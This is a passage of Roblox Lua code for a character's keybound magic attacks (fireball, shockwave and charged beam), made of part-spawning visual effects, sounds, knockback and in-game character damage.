swoosh.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid") if Slachtoffer.Health < 1 then return end if damagedebounce == true then return end damagedebounce = true swoosh:Remove() explosion = Instance.new("Part",LeftArm) explosion.CFrame = hit.CFrame explosion.Anchored = true explosion.CanCollide = false explosion.Name = "explo" explosion.Shape = "Ball" explosion.BrickColor = BrickColor.new("Really black") explosion.Material = "Neon" removeuseless:AddItem(explosion,1.5) vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(swoosh.Position,torso.Position).lookVector*60 removeuseless:AddItem(vel,.1) SOUND(explosion,472579737,6,false,3) coroutine.wrap(function() if firsttime2 then return end firsttime2 = true while true do for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "explo" then v.Size = v.Size + Vector3.new(2.5,2.5,2.5) v.Transparency = v.Transparency + .05 end end for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "shock" then v.Transparency = v.Transparency + .05 end end for i,v in pairs(LeftArm:GetChildren()) do if v.Name == "shock2" then v.Transparency = v.Transparency + .05 end end swait() end end)() Slachtoffer:TakeDamage(math.random(0,0)) wait(.1) damagedebounce = false end end) coroutine.wrap(function() if firsttime then return end firsttime = true while wait() do for i,v in pairs(Torso:GetChildren()) do if v.Name == "swoosh" then magiccc = Instance.new("Part",RightArm) magiccc.Material = "Neon" magiccc.CanCollide = false magiccc.Anchored = true magiccc.BrickColor = BrickColor.new(colors) magiccc.Size = Vector3.new(1.5,1.5,1.5) magiccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(magiccc,2) end end end end)() bov = Instance.new("BodyVelocity",swoosh) bov.maxForce = Vector3.new(99999,99999,99999) swoosh.CFrame = CFrame.new(swoosh.Position,mouse.Hit.p) bov.velocity = swoosh.CFrame.lookVector*120 removeuseless:AddItem(swoosh,4) for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end ws = 50 removeuseless:AddItem(g1,0.01) debounce = false attacking = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='h' then if not levitate then return end if debounce then return end debounce = true attacking = true ws = 0 appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() coroutine.wrap(function() for i = 1, 20 do RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(0,math.rad(50),0),.3) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.1,1.3,1.1) * CFrame.Angles(math.rad(180),math.rad(-50),math.rad(0)), 0.3) swait() end end)() SOUND(LeftArm,1982011510,8,false,15) blackhole={} orbzfade={} xz = 0 for i = 1, 220 do xz = xz + .009 bigrmagic = Instance.new("Part",RightArm) bigrmagic.Material = "Neon" bigrmagic.CanCollide = false bigrmagic.Anchored = true bigrmagic.BrickColor = BrickColor.new(colors) bigrmagic.Size = Vector3.new(xz,xz,xz) bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(bigrmagic,1) orbz = Instance.new("Part", Torso) orbz.Material = "Neon" orbz.BrickColor = BrickColor.new(colors) orbz.Size = Vector3.new(2,2,2) orbz.Anchored = true orbz.CanCollide = false removeuseless:AddItem(orbz,1) orbz.CFrame = rightlocation.CFrame * CFrame.new(math.random(-25,25),math.random(-25,25),math.random(-25,25)) * CFrame.Angles(math.rad(-180,180),math.rad(-180,180),math.rad(-180,180)) table.insert(blackhole,orbz) table.insert(orbzfade,orbz) for i,v in pairs(blackhole) do v.Size = v.Size - Vector3.new(.1,.1,.1) v.CFrame = v.CFrame:lerp(CFrame.new(rightlocation.Position),.09) end for i,v in pairs(orbzfade) do v.Transparency = v.Transparency + 0.025 end swait() end coroutine.wrap(function() for i = 1, 10 do for i,v in pairs(blackhole) do v.Size = v.Size + Vector3.new(.5,.5,.5) v.Transparency = v.Transparency + .1 end swait() end for i,v in pairs(blackhole) do v:Remove() end clean() end)() charging = true coroutine.wrap(function() while charging do bigrmagic = Instance.new("Part",RightArm) bigrmagic.Material = "Neon" bigrmagic.CanCollide = false bigrmagic.Anchored = true bigrmagic.BrickColor = BrickColor.new(colors) bigrmagic.Size = Vector3.new(xz,xz,xz) bigrmagic.CFrame = rightlocation.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(bigrmagic,.2) swait() end end)() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) BigFireBall:Play() for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end coroutine.wrap(function() for i = 1, 15 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end end)() charging = false local ballzor = Instance.new("Part",Torso) ballzor.Name = "ballzor" ballzor.Material = "Neon" ballzor.BrickColor = BrickColor.new("Really black") ballzor.CanCollide = false ballzor.Size = Vector3.new(xz,xz,xz) ballzor.Anchored = false ballzor.CFrame = Root.CFrame * CFrame.new(1,0,-5) ballzor.Shape = "Ball" removeuseless:AddItem(g1,.0001) zx = xz + .05 coroutine.wrap(function() if firsttime5 then return end firsttime5 = true while true do swait() for i,v in pairs(Torso:GetChildren()) do if v.Name == "ballzor" then magicccc = Instance.new("Part",RightArm) magicccc.Material = "Neon" magicccc.CanCollide = false magicccc.Name = "magicccc" magicccc.Anchored = true magicccc.Transparency = 0 magicccc.BrickColor = BrickColor.new(colors) magicccc.Size = Vector3.new(zx,zx,zx) magicccc.CFrame = v.CFrame * CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180)) removeuseless:AddItem(magicccc,2) end end for i,v in pairs(RightArm:GetChildren()) do if v.Name == "magicccc" then v.Transparency = v.Transparency + 0.025 end end end end)() ballzor.Touched:connect(function(hit) if hit.Name ~= "magicccc" then if bigball then return end bigball = true local explosionwave = Instance.new("Part",Torso) explosionwave.Shape = "Ball" explosionwave.BrickColor = BrickColor.new("Really black") explosionwave.Anchored = true explosionwave.CanCollide = false explosionwave.Transparency = .2 explosionwave.Material = "Neon" explosionwave.Size = Vector3.new(1,1,1) explosionwave.CFrame = ballzor.CFrame render = Instance.new("Sound",explosionwave) render.SoundId = "rbxassetid://2006635781" render.Volume = 10 * 10 render:Play() local explosionwave2 = Instance.new("Part",Torso) explosionwave2.Shape = "Ball" explosionwave2.BrickColor = BrickColor.new("Really red") explosionwave2.Anchored = true explosionwave2.CanCollide = false explosionwave2.Material = "Neon" explosionwave2.Size = Vector3.new(.8,.8,.8) explosionwave2.CFrame = ballzor.CFrame deadlywave = Instance.new("Part", explosionwave) deadlywave.Size = Vector3.new(1,1,1) deadlywave.CanCollide = false deadlywave.Anchored = true deadlywave.Transparency = .5 deadlywave.BrickColor = BrickColor.new("Really red") deadlywave.CFrame = CFrame.new(explosionwave.Position) deadlywavemesh = Instance.new("SpecialMesh", deadlywave) deadlywavemesh.Scale = Vector3.new(1,2,1) deadlywavemesh.MeshId = "rbxassetid://20329976" deadlywave2 = Instance.new("Part", explosionwave) deadlywave2.Size = Vector3.new(1,1,1) deadlywave2.CanCollide = false deadlywave2.Anchored = true deadlywave2.Transparency = .5 deadlywave2.BrickColor = BrickColor.new("Really black") deadlywave2.CFrame = CFrame.new(explosionwave.Position) deadlywave2mesh = Instance.new("SpecialMesh", deadlywave2) deadlywave2mesh.Scale = Vector3.new(3,2,3) deadlywave2mesh.MeshId = "rbxassetid://20329976" deadlyring = Instance.new("Part", Torso) deadlyring.Size = Vector3.new(5, 5, 5) deadlyring.Transparency = 0.5 deadlyring.BrickColor = BrickColor.new("Really black") deadlyring.Anchored = true deadlyring.CanCollide = false deadlyring.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) deadlyringh = Instance.new("SpecialMesh", deadlyring) deadlyringh.MeshId = "http://www.roblox.com/asset/?id=3270017" deadlyringh.Scale = Vector3.new(8, 8, .1) deadlyring2 = Instance.new("Part", Torso) deadlyring2.Size = Vector3.new(5, 5, 5) deadlyring2.Transparency = 0.5 deadlyring2.BrickColor = BrickColor.new("Really black") deadlyring2.Anchored = true deadlyring2.CanCollide = false deadlyring2.CFrame = deadlywave.CFrame * CFrame.Angles(math.rad(math.random(-180,180)), math.rad(math.random(-180,180)), math.rad(math.random(-180,180))) deadlyringh2 = Instance.new("SpecialMesh", deadlyring2) deadlyringh2.MeshId = "http://www.roblox.com/asset/?id=3270017" deadlyringh2.Scale = Vector3.new(8, 8, .1) ballzor:Remove() bigball = false staybooming = true d = 5 coroutine.wrap(function() while staybooming do Hit = damagealll(d,deadlywave.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(deadlywave.Position,torso.Position).lookVector*50 removeuseless:AddItem(vel,.1) end wait(.1) end end)() for i = 1, 70 do d = d + 1 deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(.5, .5, .1) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(.5, .5, .1) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+7),math.rad(0-7),math.rad(0+7)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-7),math.rad(0+7),math.rad(0-7)) deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+7),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+4),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(.4,0,.4) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(.5,0,.5) explosionwave.Size = explosionwave.Size + Vector3.new(.5,.5,.5) explosionwave2.Size = explosionwave2.Size + Vector3.new(.5,.5,.5) swait() end for i = 1, 80 do d = d + 3 hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12)) deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,2,3) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,1,4) explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4) explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4) swait() end staybooming = false for i = 1, 20 do d = d + 3 hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-1,1)) deadlyringh2.Scale = deadlyringh2.Scale + Vector3.new(4, 4, .2) deadlyringh.Scale = deadlyringh.Scale + Vector3.new(4, 4, .2) deadlyring.CFrame = deadlyring.CFrame * CFrame.Angles(math.rad(0+12),math.rad(0-12),math.rad(0+12)) deadlyring2.CFrame = deadlyring2.CFrame * CFrame.Angles(math.rad(0-12),math.rad(0+12),math.rad(0-12)) deadlyring.Transparency = deadlyring.Transparency + .25 deadlyring2.Transparency = deadlyring2.Transparency + .25 deadlywave.CFrame = deadlywave.CFrame * CFrame.Angles(0,math.rad(0+20),0) deadlywave2.CFrame = deadlywave2.CFrame * CFrame.Angles(0,math.rad(0+14),0) deadlywavemesh.Scale = deadlywavemesh.Scale + Vector3.new(3,0,3) deadlywave2mesh.Scale = deadlywave2mesh.Scale + Vector3.new(4,0,4) deadlywave.Transparency = deadlywave.Transparency + .25 deadlywave2.Transparency = deadlywave2.Transparency + .25 explosionwave.Size = explosionwave.Size + Vector3.new(4,4,4) explosionwave2.Size = explosionwave2.Size + Vector3.new(4,4,4) explosionwave.Transparency = explosionwave.Transparency + 0.25 explosionwave2.Transparency = explosionwave2.Transparency + 0.05 swait() end hum.CameraOffset = Vector3.new(0,0,0) explosionwave:Remove() explosionwave2:Remove() end end) bov = Instance.new("BodyVelocity",ballzor) bov.maxForce = Vector3.new(99999,99999,99999) ballzor.CFrame = CFrame.new(ballzor.Position,mouse.Hit.p) bov.velocity = ballzor.CFrame.lookVector*200 removeuseless:AddItem(ballzor,4) ws = 50 attacking = false debounce = false appi = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='j' then if not levitate then return end if debounce then return end debounce = true charging = true attacking = true downpress = false x = 1 ws = 0 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) SOUND(RightArm,2014087015,8,false,3) coroutine.wrap(function() Charge = Instance.new("Sound",RightArm) Charge.SoundId = "rbxassetid://101153932" Charge.Looped = false Charge.Volume = 8 Charge:Play() end)() appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) swait() end for i = 1, 3 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) x = x + .1 blastborb = Instance.new("Part",Torso) blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blastborb.BrickColor = BrickColor.new(colors) blastborb.Anchored = true blastborb.Size = Vector3.new(10,10,10) blastborb.CanCollide = false blastborb.Material = "Neon" for i = 1, 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) blastborb.Size = blastborb.Size - Vector3.new(1,1,1) swait() end blastborb:Remove() swait() end downpress = true while charging and x < 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(-10),math.rad(-15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(14), math.rad(20), math.rad(-90)), 0.3) x = x + .1 blastborb = Instance.new("Part",Torso) blastborb.CFrame = rightlocation.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blastborb.BrickColor = BrickColor.new(colors) blastborb.Anchored = true blastborb.Size = Vector3.new(10,10,10) blastborb.CanCollide = false blastborb.Material = "Neon" for i = 1, 5 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.4) blastborb.Size = blastborb.Size - Vector3.new(1,1,1) swait() end blastborb:Remove() swait() end coroutine.wrap(function() for i = 1, 20 do Charge.Volume = Charge.Volume - .5 swait() end end)() local bigswoosh = Instance.new("Part",Torso) bigswoosh.Name = "bigswoosh" bigswoosh.CFrame = Root.CFrame * CFrame.new(1,0,-5) bigswoosh.Size = Vector3.new(1,1,1) bigswoosh.Material = "Neon" bigswoosh.Anchored = true bigswoosh.Transparency = 1 bigswoosh.BrickColor = BrickColor.new("Really red") bigswoosh.CanCollide = false SOUND(bigswoosh,842332424,10,false,6) SOUND(bigswoosh,2017948224,10,false,6) SOUND(bigswoosh,138677306,10,false,4) coroutine.wrap(function() local loc1 = Instance.new("Part",bigswoosh) loc1.CFrame = bigswoosh.CFrame * CFrame.new(-3,0,0) loc1.Size = Vector3.new(2,2,2) loc1.Anchored = true loc1.Transparency = 1 loc1.CanCollide = false local loc2 = Instance.new("Part",bigswoosh) loc2.CFrame = bigswoosh.CFrame * CFrame.new(3,0,0) loc2.Size = Vector3.new(2,2,2) loc2.Anchored = true loc2.Transparency = 1 loc2.CanCollide = false n = 0 nb = 0 for i = 1, 125 do n = n + x nb = nb - x Hit = damagealll(n,bigswoosh.Position) for _,v in pairs(Hit) do if x > 4.5 then v:FindFirstChildOfClass("Humanoid").Parent:BreakJoints() else v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) end vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(bigswoosh.Position,torso.Position).lookVector*150 removeuseless:AddItem(vel,.1) end local bigtrail = Instance.new("Part",LeftArm) bigtrail.Size = bigswoosh.Size bigtrail.BrickColor = BrickColor.new(colors) bigtrail.Anchored = true bigtrail.Material = "Neon" bigtrail.CFrame = bigswoosh.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) bigtrail.CanCollide = false removeuseless:AddItem(bigtrail,2) local irritatedground = Instance.new("Part",Torso) irritatedground.Size = Vector3.new(n*1.5,1,3*x) irritatedground.BrickColor = BrickColor.new(colors) irritatedground.Material = "Neon" irritatedground.CFrame = bigswoosh.CFrame * CFrame.new(0,-6,0) irritatedground.CanCollide = false irritatedground.Anchored = true removeuseless:AddItem(irritatedground,10) local grassblocks = Instance.new("Part",Torso) grassblocks.Size = Vector3.new(n/2,n/2,n/2) grassblocks.Material = "Grass" grassblocks.Anchored = true grassblocks.Name = "grassblocks" grassblocks.BrickColor = BrickColor.new("Bright green") grassblocks.CFrame = loc1.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks,10) local grassblocks2 = Instance.new("Part",Torso) grassblocks2.Size = Vector3.new(n/2,n/2,n/2) grassblocks2.Material = "Grass" grassblocks2.Anchored = true grassblocks2.Name = "grassblocks2" grassblocks2.BrickColor = BrickColor.new("Bright green") grassblocks2.CFrame = loc2.CFrame * CFrame.new(0,-1,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(grassblocks2,10) bigswoosh.Size = bigswoosh.Size + Vector3.new(x,x,x) loc1.CFrame = bigswoosh.CFrame * CFrame.new(n,-3,0) loc2.CFrame = bigswoosh.CFrame * CFrame.new(nb,-3,0) bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3 - x) swait() end for i = 1, 20 do bigswoosh.CFrame = bigswoosh.CFrame * CFrame.new(0,0,-3) bigswoosh.Transparency = bigswoosh.Transparency + 0.05 swait() end bigswoosh:Remove() end)() for i = 1, 50 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(10),math.rad(15),math.rad(0)),.5) RIGHTARMLERP.C1 = CFrame.new(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.2,1,.5) * CFrame.Angles(math.rad(-90),math.rad(-25),math.rad(0)), 0.5) swait() end ws = 50 attacking = false debounce = false appi = false g1:Remove() end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='k' then if not levitate then return end if debounce then return end debounce = true attacking = true charging = true appi = true coroutine.wrap(function() while appi do swait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle3" end end end)() coroutine.wrap(function() while appi do swait() settime = 0.05 sine = sine + change if position == "Idle3" and attacking == true and appi == true then change = .4 RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(-.2,.2,0) * CFrame.Angles(0,0,0),.1) LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.8 - .1 * math.sin(sine/9), 0) * CFrame.Angles(math.rad(0), math.rad(0 + 3 * math.sin(sine/9)), math.rad(35 - 5 * math.sin(sine/9))), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.54, 1.4 + .1 * math.sin(sine/9), .4) * CFrame.Angles(math.rad(9 + 2 * math.cos(sine/9)), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 2.0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10 + 2 * math.sin(sine/9))), 0.4) end end end)() ws = 0 g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) g1.CFrame = CFrame.new(Root.Position,mouse.Hit.p) for i = 1, 15 do g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)),.3) RIGHTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-.5, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-90)), 0.3) swait() end r = 0 for i = 1, 10 do r = r + .1 g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) swait() end while r < 16 and charging == true do r = r + .1 g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) swait() end local TheBeam = Instance.new("Part",RightArm) TheBeam.Name = "zebeam" TheBeam.Size = Vector3.new(1,1,1) TheBeam.Material = "Neon" TheBeam.Shape = "Cylinder" TheBeam.BrickColor = BrickColor.new("Really red") TheBeam.Anchored = true TheBeam.CanCollide = false ws = 12 bemmo = Instance.new("Sound",RightArm) bemmo.SoundId = "rbxassetid://1910988873" bemmo.Volume = 8 bemmo.Looped = false bemmo:Play() bemmo.TimePosition = 2 for i = 1, 100 * r/3 do if r > 15 then hum.CameraOffset = Vector3.new(math.random(-1,1),math.random(-1,1),math.random(-0,0)) end g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.3) local blass = Instance.new("Part",RightArm) blass.Size = Vector3.new(r,r,r) blass.Material = "Neon" blass.CFrame = rightlocation.CFrame * CFrame.new(0,-r/1.5,0) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) blass.Anchored = true blass.CanCollide = false blass.BrickColor = BrickColor.new(colors) removeuseless:AddItem(blass,2) local STARTPOS = blass.CFrame*CFrame.new(0,0,0).p local ENDHIT,ENDPOS = ray2(STARTPOS,mouse.Hit.p,650,Character) local DISTANCE = (STARTPOS - ENDPOS).magnitude TheBeam.CFrame = CFrame.new(STARTPOS,ENDPOS)*CFrame.new(0,0,-DISTANCE/2) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)) TheBeam.Size = Vector3.new(DISTANCE,r/math.random(1,2),r/math.random(1,2)) boom = Instance.new("Part",RightArm) boom.Size = Vector3.new(r,r,r) boom.BrickColor = BrickColor.new(colors) boom.Anchored = true boom.CanCollide = false boom.Material = "Neon" boom.CFrame = CFrame.new(ENDPOS) * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180))) removeuseless:AddItem(boom,3) boom.Touched:connect(function(getbase) if hitdebounce then return end hitdebounce = true if getbase:IsA("Part") then damagedground = Instance.new("Part",RightArm) damagedground.Size = Vector3.new(.1,5+r,.1) 